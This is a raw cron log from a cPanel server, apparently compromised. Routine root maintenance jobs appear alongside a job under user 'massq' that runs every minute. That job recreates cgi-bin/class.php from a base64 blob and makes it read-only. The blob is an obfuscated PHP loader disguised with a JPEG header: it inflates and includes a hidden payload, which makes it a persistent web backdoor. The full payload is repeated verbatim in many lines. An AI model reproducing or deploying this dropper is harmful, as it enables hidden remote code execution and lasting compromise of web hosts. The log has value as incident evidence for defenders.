Sep  4 03:40:01 server CROND[32334]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:40:01 server CROND[32335]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:40:01 server CROND[32342]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:40:01 server CROND[32344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:40:01 server CROND[32343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:40:01 server CROND[32339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:41:01 server CROND[861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:41:01 server CROND[860]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:41:01 server CROND[862]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:42:01 server CROND[1359]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:42:01 server CROND[1360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:42:01 server CROND[1361]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 03:42:01 server CROND[1362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:43:01 server CROND[1744]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:43:01 server CROND[1745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:43:01 server CROND[1746]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:44:01 server CROND[2163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:44:01 server CROND[2165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:44:01 server CROND[2164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:45:01 server CROND[2573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:45:01 server CROND[2571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:45:01 server CROND[2572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:45:01 server CROND[2578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:45:01 server CROND[2581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:45:01 server CROND[2579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:45:01 server CROND[2580]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:46:01 server CROND[3558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:46:01 server CROND[3559]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:46:01 server CROND[3560]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:47:01 server CROND[3949]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:47:01 server CROND[3950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:47:01 server CROND[3951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:48:01 server CROND[4340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:48:01 server CROND[4341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:48:01 server CROND[4342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:49:01 server CROND[4722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:49:01 server CROND[4723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:49:01 server CROND[4724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:50:01 server CROND[5122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 03:50:01 server CROND[5125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 03:50:01 server CROND[5129]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 03:50:01 server CROND[5133]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 03:50:01 server CROND[5137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:50:01 server CROND[5140]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:50:01 server CROND[5144]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 03:50:01 server CROND[5145]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:50:01 server CROND[5142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 03:51:01 server CROND[6073]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 03:51:01 server CROND[6074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 03:51:01 server CROND[6075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 03:52:01 server CROND[6468]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
